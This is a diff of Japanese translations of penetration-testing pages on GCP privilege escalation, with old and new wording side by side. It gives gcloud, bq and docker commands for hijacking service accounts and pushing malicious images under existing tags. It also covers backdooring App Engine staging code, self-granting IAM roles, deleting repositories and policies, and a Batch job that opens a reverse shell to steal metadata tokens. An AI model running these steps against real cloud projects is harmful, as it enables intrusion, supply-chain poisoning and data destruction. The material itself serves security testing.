Pythonのコード例は[https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)で見つけることができます。
|
||||
You can find python code examples in [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
|
||||
|
||||
デフォルトでは、アプリサービスの名前は**`default`**になり、同じ名前のインスタンスは1つだけ存在できます。\
|
||||
これを変更して2つ目のアプリを作成するには、**`app.yaml`**でルートキーの値を**`service: my-second-app`**のように変更します。
|
||||
By default, the name of the App service is going to be **`default`**, and there can be only 1 instance with the same name.\
|
||||
To change it and create a second App, in **`app.yaml`**, change the value of the root key to something like **`service: my-second-app`**
|
||||
|
||||
<details>
|
||||
<summary>App Engine アプリケーションをデプロイ</summary>
|
||||
```bash
|
||||
cd python-docs-samples/appengine/flexible/hello_world
|
||||
gcloud app deploy #Upload and start application inside the folder
|
||||
```
|
||||
少なくとも10〜15分待ってください。うまくいかない場合は、**別のデプロイを呼び出して**数分待ってください。
|
||||
</details>
|
||||
|
||||
少なくとも10〜15分は待ってください。もしうまくいかない場合は、**deploy another of times** を呼び出して数分待ってください。
|
||||
|
||||
> [!NOTE]
|
||||
> **使用するサービスアカウントを指定することは可能ですが、デフォルトではApp EngineのデフォルトSAが使用されます。**
|
||||
> 使用する Service Account を指定することは可能ですが、デフォルトでは App Engine default SA が使用されます。
|
||||
|
||||
アプリケーションのURLは、`https://<proj-name>.oa.r.appspot.com/` または `https://<service_name>-dot-<proj-name>.oa.r.appspot.com` のようになります。
|
||||
アプリケーションの URL は次のようになります: `https://<proj-name>.oa.r.appspot.com/` または `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
|
||||
### 同等の権限を更新する
|
||||
### 同等の権限を更新
|
||||
|
||||
AppEngineを更新するための十分な権限があるかもしれませんが、新しいものを作成する権限はないかもしれません。その場合、現在のApp Engineを更新する方法は次のとおりです:
|
||||
新規作成はできないが、AppEngine を更新する権限はある、という場合があります。その場合、現在の App Engine を更新する方法は次の通りです:
|
||||
|
||||
<details>
|
||||
<summary>既存の App Engine アプリケーションを更新</summary>
|
||||
```bash
|
||||
# Find the code of the App Engine in the buckets
|
||||
gsutil ls
|
||||
@@ -62,41 +70,58 @@ gcloud app deploy
|
||||
# Update the SA if you need it (and if you have actas permissions)
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
もし**すでにAppEngineを侵害している**場合、**`appengine.applications.update`**の権限と、使用するサービスアカウントに対する**actAs**があれば、次のようにAppEngineで使用されるサービスアカウントを変更できます:
|
||||
</details>
|
||||
|
||||
もし既に AppEngine を侵害していて、権限 **`appengine.applications.update`** と使用するサービスアカウントに対する **actAs** を持っている場合、AppEngine が使用するサービスアカウントを次のように変更できます:
|
||||
|
||||
<details>
|
||||
<summary>App Engine のサービスアカウントを更新</summary>
|
||||
```bash
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
|
||||
|
||||
これらの権限を持つことで、**App Engine インスタンス**のタイプ **flexible**(標準ではない)に**sshでログインする**ことが可能です。一部の**`list`**および**`get`**権限は**本当に必要ないかもしれません**。
|
||||
これらの権限があれば、**App Engine インスタンスに ssh でログインする**ことが可能です(タイプは **flexible**、standard ではありません)。一部の **`list`** および **`get`** 権限は**実際には必須ではない場合があります**。
|
||||
|
||||
<details>
|
||||
<summary>SSH で App Engine インスタンスにログイン</summary>
|
||||
```bash
|
||||
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.applications.update`, `appengine.operations.get`
|
||||
|
||||
これは、アプリケーションを設定するためにGoogleが使用するバックグラウンドSAを変更するだけだと思うので、これを悪用してサービスアカウントを盗むことはできないと思います。
|
||||
これは単にGoogleがアプリケーションをセットアップする際に使用するバックグラウンドのサービスアカウントを変更するだけだと思うので、これを悪用してサービスアカウントを盗むことはできないと思います。
|
||||
|
||||
<details>
|
||||
<summary>アプリケーションのサービスアカウントを更新</summary>
|
||||
```bash
|
||||
gcloud app update --service-account=<sa_email>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.versions.getFileContents`, `appengine.versions.update`
|
||||
|
||||
これらの権限をどのように使用するか、またはそれらが有用かどうかわかりません(コードを変更すると新しいバージョンが作成されるため、コードやIAMロールのどちらかを更新できるかどうかは不明ですが、バケット内のコードを変更することでできるはずだと思います)。
|
||||
これらの権限の使い方や有用性ははっきりしない(コードを変更すると新しいバージョンが作成されるため、単にコードやそのバージョンの IAM ロールを更新できるか分からないが、おそらく可能だと思われる。バケット内のコードを変更することでできるかもしれない)。
|
||||
|
||||
### バケットへの書き込みアクセス
|
||||
### Write Access over the buckets
|
||||
|
||||
前述のように、appengineのバージョンは、`staging.<project-id>.appspot.com`という形式のバケット内にデータを生成します。このバケットを事前に引き継ぐことはできません。なぜなら、GCPユーザーは`appspot.com`というドメイン名を使用してバケットを生成する権限がないからです。
|
||||
前述のとおり、appengine versions は `staging.<project-id>.appspot.com` という形式のバケット内にいくつかのデータを生成する。GCP ユーザーは `appspot.com` ドメイン名を使ってバケットを作成する権限を持たないため、このバケットを事前に奪取することはできない点に注意。
|
||||
|
||||
しかし、このバケットに対して読み取りおよび書き込みアクセスがあれば、バケットを監視し、変更が行われるたびにできるだけ早くコードを修正することで、AppEngineバージョンに付随するSAの権限を昇格させることが可能です。この方法で、このコードから作成されるコンテナは**バックドア付きのコードを実行します**。
|
||||
しかし、このバケットに対して読み取り&書き込みアクセスがあれば、バケットを監視して変更が行われるたびにできるだけ速やかにコードを改変することで、AppEngine バージョンに紐づく SA(サービスアカウント)へ権限昇格することが可能になる。こうして作成されたコンテナは **バックドア化されたコードを実行する** ことになる。
|
||||
|
||||
詳細情報と**PoCについては、このページの関連情報を確認してください**:
|
||||
詳細および **PoC は以下のページの該当情報を確認してください**:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### アーティファクトレジストリへの書き込みアクセス
|
||||
### Write Access over the Artifact Registry
|
||||
|
||||
App Engineはアーティファクトレジストリ内にdockerイメージを作成します。**このサービス内でイメージを変更しても**、App Engineインスタンスを削除して(新しいものがデプロイされる)も、**実行されるコードは変更されません**。\
|
||||
バケットと同様に**レースコンディション攻撃を行うことで、実行されるコードを上書きできる可能性がありますが、これはテストされていません**。
|
||||
App Engine が Artifact Registry 内に docker イメージを作成するにもかかわらず、実際にこのサービス内のイメージを変更して App Engine インスタンスを削除(つまり新しいインスタンスがデプロイされる)しても、**実行されるコードは変わらない** ことが確認された。\
|
||||
バケットと同様に Race Condition attack を行えば実行されるコードを上書きできる可能性はあるが、この点はテストされていない。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Artifact Registry
|
||||
|
||||
Artifact Registryに関する詳細情報は、以下を確認してください:
|
||||
For more information about Artifact Registry check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
@@ -12,7 +12,10 @@ Artifact Registryに関する詳細情報は、以下を確認してください
|
||||
|
||||
### artifactregistry.repositories.uploadArtifacts
|
||||
|
||||
この権限を持つ攻撃者は、Dockerイメージのような悪意のあるコードを含むアーティファクトの新しいバージョンをアップロードすることができます:
|
||||
この権限があると、攻撃者はDockerイメージのような悪意あるコードを含むアーティファクトの新しいバージョンをアップロードできます:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry に Docker イメージをアップロード</summary>
|
||||
```bash
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -23,20 +26,25 @@ docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<r
|
||||
# Upload it
|
||||
docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> 既存のものと同じ名前とタグの新しい悪意のあるdockerイメージをアップロードすることが**可能であることが確認された**ため、**古いものはタグを失い**、次回そのタグのイメージが**ダウンロードされると悪意のあるものが**ダウンロードされる。
|
||||
> 確認の結果、同じ名前とタグで新しい悪意のある docker イメージをアップロードすることが**可能**であるため、**古いイメージはタグを失い**、次回そのタグでイメージが**ダウンロードされると悪意のあるものがダウンロードされます**。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Pythonライブラリをアップロードする</summary>
|
||||
<summary>Upload a Python library</summary>
|
||||
|
||||
**アップロードするライブラリを作成することから始めます**(レジストリから最新バージョンをダウンロードできる場合はこのステップを省略できます):
|
||||
**アップロードするライブラリを作成することから始めます**(registry から最新バージョンをダウンロードできる場合はこの手順は不要です):
|
||||
|
||||
1. **プロジェクト構造を設定します**:
|
||||
1. **プロジェクト構成を設定する**:
|
||||
|
||||
- ライブラリ用の新しいディレクトリを作成します。例:`hello_world_library`。
|
||||
- このディレクトリ内に、パッケージ名のディレクトリを作成します。例:`hello_world`。
|
||||
- パッケージディレクトリ内に`__init__.py`ファイルを作成します。このファイルは空でも、パッケージの初期化を含むこともできます。
|
||||
- ライブラリ用の新しいディレクトリを作成します(例: `hello_world_library`)。
|
||||
- このディレクトリ内に、パッケージ名のディレクトリを作成します(例: `hello_world`)。
|
||||
- パッケージディレクトリ内に `__init__.py` ファイルを作成します。空でも、パッケージの初期化を含めても構いません。
|
||||
|
||||
<details>
|
||||
<summary>Create project structure</summary>
|
||||
|
||||
```bash
|
||||
mkdir hello_world_library
|
||||
@@ -45,10 +53,15 @@ mkdir hello_world
|
||||
touch hello_world/__init__.py
|
||||
```
|
||||
|
||||
2. **ライブラリコードを書く**:
|
||||
</details>
|
||||
|
||||
- `hello_world`ディレクトリ内に、モジュール用の新しいPythonファイルを作成します。例:`greet.py`。
|
||||
- "Hello, World!"関数を書きます:
|
||||
2. **ライブラリコードを書く**:
|
||||
|
||||
- `hello_world` ディレクトリ内に、モジュール用の新しい Python ファイルを作成します(例: `greet.py`)。
|
||||
- 「Hello, World!」関数を書きます:
|
||||
|
||||
<details>
|
||||
<summary>Create library module</summary>
|
||||
|
||||
```python
|
||||
# hello_world/greet.py
|
||||
@@ -56,10 +69,15 @@ def say_hello():
|
||||
return "Hello, World!"
|
||||
```
|
||||
|
||||
3. **`setup.py`ファイルを作成します**:
|
||||
</details>
|
||||
|
||||
- `hello_world_library`ディレクトリのルートに`setup.py`ファイルを作成します。
|
||||
- このファイルにはライブラリに関するメタデータが含まれ、Pythonにインストール方法を指示します。
|
||||
3. **`setup.py` ファイルを作成する**:
|
||||
|
||||
- `hello_world_library` ディレクトリのルートに `setup.py` ファイルを作成します。
|
||||
- このファイルにはライブラリのメタデータと、Python にインストール方法を伝える情報が含まれます。
|
||||
|
||||
<details>
|
||||
<summary>Create setup.py file</summary>
|
||||
|
||||
```python
|
||||
# setup.py
|
||||
@@ -70,47 +88,70 @@ name='hello_world',
|
||||
version='0.1',
|
||||
packages=find_packages(),
|
||||
install_requires=[
|
||||
# ライブラリに必要な依存関係
|
||||
# Any dependencies your library needs
|
||||
],
|
||||
)
|
||||
```
|
||||
|
||||
**さあ、ライブラリをアップロードしましょう:**
|
||||
</details>
|
||||
|
||||
1. **パッケージをビルドします**:
|
||||
**では、ライブラリをアップロードします:**
|
||||
|
||||
- `hello_world_library`ディレクトリのルートから、次のコマンドを実行します:
|
||||
1. **パッケージをビルドする**:
|
||||
|
||||
- `hello_world_library` ディレクトリのルートから以下を実行します:
|
||||
|
||||
<details>
|
||||
<summary>Build Python package</summary>
|
||||
|
||||
```sh
|
||||
python3 setup.py sdist bdist_wheel
|
||||
```
|
||||
|
||||
2. **twineの認証を設定します**(パッケージをアップロードするために使用):
|
||||
- `twine`がインストールされていることを確認します(`pip install twine`)。
|
||||
- `gcloud`を使用して認証情報を設定します:
|
||||
````
|
||||
</details>
|
||||
|
||||
2. **twine の認証を設定する**(パッケージをアップロードするために使用):
|
||||
- `twine` をインストールしていることを確認します(`pip install twine`)。
|
||||
- 認証情報を設定するために `gcloud` を使用します:
|
||||
|
||||
<details>
|
||||
<summary>Upload package with twine</summary>
|
||||
```sh
|
||||
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
|
||||
```
|
||||
````
|
||||
3. **ビルドをクリーンにする**
|
||||
</details>
|
||||
|
||||
3. **ビルドをクリーンアップする**
|
||||
|
||||
<details>
|
||||
<summary>ビルド成果物をクリーンアップする</summary>
|
||||
```bash
|
||||
rm -rf dist build hello_world.egg-info
|
||||
```
|
||||
</details>
|
||||
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> 同じバージョンのpythonライブラリをアップロードすることはできませんが、**より大きなバージョン**をアップロードすることは可能です(または、バージョンの最後に**`.0`を追加する**ことも可能ですが、これはpythonでは機能しません)、または**最後のバージョンを削除して新しいものをアップロードすることができます**(必要な`artifactregistry.versions.delete`)**:**
|
||||
>
|
||||
> ```sh
|
||||
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
|
||||
> ```
|
||||
> 既に存在するのと同じバージョンの python ライブラリをアップロードすることはできませんが、**より新しいバージョン**をアップロードすることは可能です(またはバージョンの末尾に **`.0` を追加**することで回避できる場合があります — ただし python では動作しないことがあります)、あるいは**最後のバージョンを削除して新しいものをアップロードする**こともできます(この場合 `artifactregistry.versions.delete` が必要です)。
|
||||
|
||||
<details>
|
||||
<summary>アーティファクトのバージョンを削除</summary>
|
||||
|
||||
```sh
|
||||
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### `artifactregistry.repositories.downloadArtifacts`
|
||||
|
||||
この権限を持つことで、**アーティファクトをダウンロード**し、**機密情報**や**脆弱性**を検索することができます。
|
||||
この権限があれば **アーティファクトをダウンロード** して、**機密情報** や **脆弱性** を検索できます。
|
||||
|
||||
**Docker**イメージをダウンロード:
|
||||
Download a **Docker** image:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry から Docker イメージをダウンロード</summary>
|
||||
```sh
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -118,11 +159,18 @@ gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
# Dowload image
|
||||
docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
**python** ライブラリをダウンロードします:
|
||||
</details>
|
||||
|
||||
**python** ライブラリをダウンロード:
|
||||
|
||||
<details>
|
||||
<summary>Artifact RegistryからPythonライブラリをダウンロード</summary>
|
||||
```bash
|
||||
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
|
||||
```
|
||||
- リモートレジストリと標準レジストリが仮想レジストリ内で混在し、パッケージが両方に存在する場合、何が起こりますか?このページを確認してください:
|
||||
</details>
|
||||
|
||||
- リモートと標準のレジストリが仮想レジストリ内で混在し、パッケージが両方に存在する場合はどうなりますか?次のページを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-artifact-registry-persistence.md
|
||||
@@ -130,30 +178,40 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
|
||||
|
||||
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
|
||||
|
||||
レジストリからアーティファクトを削除します。例えば、dockerイメージ:
|
||||
レジストリからアーティファクト(例: Docker イメージ)を削除する:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry から Docker イメージを削除</summary>
|
||||
```bash
|
||||
# Delete a docker image
|
||||
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `artifactregistry.repositories.delete`
|
||||
|
||||
リポジトリ全体を削除します(コンテンツがあっても)。
|
||||
コンテンツがあってもリポジトリ全体を削除します:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry リポジトリを削除</summary>
|
||||
```
|
||||
gcloud artifacts repositories delete <repo-name> --location=<location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `artifactregistry.repositories.setIamPolicy`
|
||||
|
||||
この権限を持つ攻撃者は、前述のリポジトリ攻撃を実行するための権限を自分に与えることができます。
|
||||
この権限を持つ攻撃者は、前述のリポジトリに対する攻撃のいくつかを実行するための権限を自分に付与できる可能性があります。
|
||||
|
||||
### Artifact Registryの読み書きを通じて他のサービスにピボット
|
||||
### Artifact Registry Read & Write を通じた他サービスへのピボット
|
||||
|
||||
- **Cloud Functions**
|
||||
|
||||
Cloud Functionが作成されると、新しいdockerイメージがプロジェクトのArtifact Registryにプッシュされます。私は新しいイメージでイメージを変更しようとし、現在のイメージ(および`cache`イメージ)を削除しても何も変わらず、Cloud Functionは動作し続けました。したがって、**バケットと同様にレースコンディション攻撃を悪用することが可能かもしれません**が、**保存されたイメージを変更するだけではCloud Functionを妥協することはできません**。
|
||||
Cloud Function が作成されると、プロジェクトの Artifact Registry に新しい docker イメージがプッシュされます。イメージを新しいものに置き換えたり、現在のイメージ(および `cache` イメージ)を削除してみても何も変わらず、Cloud Function は動作し続けました。したがって、bucket と同様に実行される docker コンテナを変更するために**Race Condition attack を悪用できる可能性はあるかもしれません**が、**保存されているイメージを単に変更するだけでは Cloud Function を侵害することはできない**。
|
||||
|
||||
- **App Engine**
|
||||
|
||||
App EngineはArtifact Registry内にdockerイメージを作成しますが、**このサービス内でイメージを変更しても**、App Engineインスタンスを削除(新しいものがデプロイされる)しても、**実行されるコードは変更されません**。\
|
||||
**バケットと同様にレースコンディション攻撃を実行することで、実行されるコードを上書きすることが可能かもしれませんが、これはテストされていません**。
|
||||
App Engine は Artifact Registry 内に docker イメージを作成します。テストの結果、**このサービス内のイメージを変更しても** App Engine インスタンスを削除(つまり新しいインスタンスがデプロイされる)しても、**実行されるコードは変わらない**ことが確認されました。\
|
||||
bucket と同様の **Race Condition attack によって実行されるコードを上書きできる可能性がある**かもしれませんが、これはテストしていません。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
# GCP - バッチ特権昇格
|
||||
# GCP - Batch Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## バッチ
|
||||
## Batch
|
||||
|
||||
Basic information:
|
||||
基本情報:
|
||||
|
||||
{{#ref}}
|
||||
@@ -12,7 +13,10 @@
|
||||
|
||||
### `batch.jobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
バッチジョブを作成し、リバースシェルを取得し、SAのメタデータトークン(デフォルトではコンピュートSA)を抽出することが可能です。
|
||||
batch job を作成して reverse shell を取得し、SA(デフォルトは compute SA)の metadata token を外部へ持ち出すことが可能です。
|
||||
|
||||
<details>
|
||||
<summary>reverse shell を使った Batch job の作成</summary>
|
||||
```bash
|
||||
gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
|
||||
{
|
||||
@@ -53,4 +57,6 @@ gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
|
||||
}
|
||||
EOD
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## BigQuery
|
||||
|
||||
BigQueryに関する詳細情報は、以下を確認してください:
|
||||
BigQueryに関する詳細は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigquery-enum.md
|
||||
@@ -12,21 +12,34 @@ BigQueryに関する詳細情報は、以下を確認してください:
|
||||
|
||||
### Read Table
|
||||
|
||||
BigQueryテーブルに保存されている情報を読み取ることで、s**ensitive information**を見つけることができるかもしれません。情報にアクセスするために必要な権限は**`bigquery.tables.get`**、**`bigquery.jobs.create`**、および**`bigquery.tables.getData`**です:
|
||||
BigQueryテーブル内に格納された情報を読み取ることで、**機密情報**が見つかる可能性があります。情報にアクセスするために必要な権限は **`bigquery.tables.get`** 、 **`bigquery.jobs.create`** および **`bigquery.tables.getData`** です:
|
||||
|
||||
<details>
|
||||
<summary>BigQuery テーブルのデータを読み取る</summary>
|
||||
```bash
|
||||
bq head <dataset>.<table>
|
||||
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
|
||||
```
|
||||
</details>
|
||||
|
||||
### データのエクスポート
|
||||
|
||||
これはデータにアクセスする別の方法です。**クラウドストレージバケットにエクスポート**し、**情報を含むファイルをダウンロード**します。\
|
||||
このアクションを実行するには、次の権限が必要です: **`bigquery.tables.export`**、**`bigquery.jobs.create`**、および **`storage.objects.create`**。
|
||||
これはデータにアクセスする別の方法です。**Cloud Storage バケットにエクスポート**し、**ファイルをダウンロード**して情報を入手します。\
|
||||
この操作を実行するには次の権限が必要です:**`bigquery.tables.export`**、**`bigquery.jobs.create`**、および**`storage.objects.create`**。
|
||||
|
||||
<details>
|
||||
<summary>BigQuery テーブルを Cloud Storage にエクスポート</summary>
|
||||
```bash
|
||||
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
|
||||
```
|
||||
</details>
|
||||
|
||||
### データの挿入
|
||||
|
||||
**信頼できる特定のデータを** Bigquery テーブルに**挿入することが可能かもしれません。** これは、**`bigquery.tables.get`**、**`bigquery.tables.updateData`**、および **`bigquery.jobs.create`** の権限を使用して簡単に行うことができます:
|
||||
別の場所にある脆弱性を悪用するために、BigQuery テーブルに **特定の信頼されたデータを導入** できる場合があります。これは **`bigquery.tables.get`**, **`bigquery.tables.updateData`** および **`bigquery.jobs.create`** の権限があれば簡単に実行できます:
|
||||
|
||||
<details>
|
||||
<summary>BigQuery テーブルにデータを挿入</summary>
|
||||
```bash
|
||||
# Via query
|
||||
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
|
||||
@@ -34,9 +47,14 @@ bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank,
|
||||
# Via insert param
|
||||
bq insert dataset.table /tmp/mydata.json
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.datasets.setIamPolicy`
|
||||
|
||||
攻撃者はこの権限を悪用して、BigQueryデータセットに対して**さらなる権限を与える**ことができます:
|
||||
攻撃者はこの権限を悪用して、BigQuery データセットに対して **自身にさらなる権限を付与する** ことができます:
|
||||
|
||||
<details>
|
||||
<summary>BigQuery データセットの IAM ポリシーを設定</summary>
|
||||
```bash
|
||||
# For this you also need bigquery.tables.getIamPolicy
|
||||
bq add-iam-policy-binding \
|
||||
@@ -46,9 +64,14 @@ bq add-iam-policy-binding \
|
||||
|
||||
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.datasets.update`, (`bigquery.datasets.get`)
|
||||
|
||||
この権限だけで、**ACLを変更することによってBigQueryデータセットへのアクセスを更新することができます**。
|
||||
この権限だけで、**誰がアクセスできるかを示す ACLs を変更することで、BigQuery データセットに対するあなたのアクセス権を更新**できます:
|
||||
|
||||
<details>
|
||||
<summary>BigQuery データセットの ACLs を更新</summary>
|
||||
```bash
|
||||
# Download current permissions, reqires bigquery.datasets.get
|
||||
bq show --format=prettyjson <proj>:<dataset> > acl.json
|
||||
@@ -57,9 +80,14 @@ bq update --source acl.json <proj>:<dataset>
|
||||
## Read it with
|
||||
bq head $PROJECT_ID:<dataset>.<table>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.tables.setIamPolicy`
|
||||
|
||||
攻撃者はこの権限を悪用して、BigQueryテーブルに対して**さらなる権限を与える**ことができます:
|
||||
攻撃者はこの権限を悪用して、BigQuery テーブルに対して**自分にさらに権限を付与する**ことができます:
|
||||
|
||||
<details>
|
||||
<summary>BigQuery テーブルの IAM ポリシーを設定</summary>
|
||||
```bash
|
||||
# For this you also need bigquery.tables.setIamPolicy
|
||||
bq add-iam-policy-binding \
|
||||
@@ -69,14 +97,24 @@ bq add-iam-policy-binding \
|
||||
|
||||
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
|
||||
|
||||
ドキュメントによると、指定された権限を使用すると**行ポリシーを更新する**ことが可能です。\
|
||||
しかし、**CLI `bq`を使用する場合**、いくつか追加の権限が必要です: **`bigquery.rowAccessPolicies.create`**、**`bigquery.tables.get`**。
|
||||
ドキュメントによると、前述の権限があれば**行アクセスポリシーを更新**できます。\
|
||||
しかし、**cli `bq` を使用する場合**、さらに次の権限が必要です: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**。
|
||||
|
||||
<details>
|
||||
<summary>行アクセスポリシーの作成または置換</summary>
|
||||
```bash
|
||||
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
|
||||
```
|
||||
行ポリシー列挙の出力にフィルターIDを見つけることができます。例:
|
||||
</details>
|
||||
|
||||
row policies の列挙の出力から filter ID を見つけることができます。例:
|
||||
|
||||
<details>
|
||||
<summary>row access policies を列挙する</summary>
|
||||
```bash
|
||||
bq ls --row_access_policies <proj>:<dataset>.<table>
|
||||
|
||||
@@ -84,7 +122,12 @@ Id Filter Predicate Grantees Creation Time Las
|
||||
------------- ------------------ ----------------------------- ----------------- --------------------
|
||||
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
|
||||
```
|
||||
もし **`bigquery.rowAccessPolicies.delete`** が `bigquery.rowAccessPolicies.update` の代わりにあれば、ポリシーを削除することもできます:
|
||||
</details>
|
||||
|
||||
もし **`bigquery.rowAccessPolicies.delete`** を `bigquery.rowAccessPolicies.update` の代わりに持っている場合、ポリシーを削除することもできます:
|
||||
|
||||
<details>
|
||||
<summary>行アクセス ポリシーを削除</summary>
|
||||
```bash
|
||||
# Remove one
|
||||
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
|
||||
@@ -92,7 +135,9 @@ bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<
|
||||
# Remove all (if it's the last row policy you need to use this
|
||||
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> 行アクセスポリシーを回避する別の潜在的なオプションは、制限されたデータの値を変更することです。`term`が`Cfba`のときにのみ見ることができる場合、テーブルのすべてのレコードを`term = "Cfba"`に変更します。しかし、これはbigqueryによって防止されています。
|
||||
> 行アクセスポリシーを回避する別の方法として、制限されたデータの値を単に変更することが考えられます。もし `term` が `Cfba` のときしか見えないなら、テーブル内のすべてのレコードを `term = "Cfba"` に変更すればよい。しかしこれは bigquery によって防止されます。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Bigtable
|
||||
|
||||
Bigtable の詳細は以下を参照してください:
|
||||
Bigtableの詳細については次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
@@ -12,39 +12,50 @@ Bigtable の詳細は以下を参照してください:
|
||||
|
||||
### `bigtable.instances.setIamPolicy`
|
||||
|
||||
**権限:** `bigtable.instances.setIamPolicy`(通常は現在のバインディングを読み取るために `bigtable.instances.getIamPolicy` も必要です)。
|
||||
**権限:** `bigtable.instances.setIamPolicy`(通常、現在のバインディングを読むために `bigtable.instances.getIamPolicy` も必要)。
|
||||
|
||||
インスタンスの IAM ポリシーを所有していれば、自分に **`roles/bigtable.admin`**(または任意のカスタムロール)を付与でき、その権限はインスタンス内のすべてのクラスタ、テーブル、バックアップ、および承認済みビューに連鎖的に適用されます。
|
||||
インスタンスのIAMポリシーを管理できれば、インスタンス内のすべてのクラスタ、テーブル、バックアップ、承認済みビューに波及する **`roles/bigtable.admin`**(または任意のカスタムロール)を自分に付与できます。
|
||||
|
||||
<details><summary>インスタンスに対して自分に roles/bigtable.admin ロールを付与する</summary>
|
||||
```bash
|
||||
gcloud bigtable instances add-iam-policy-binding <instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
> [!TIP]
|
||||
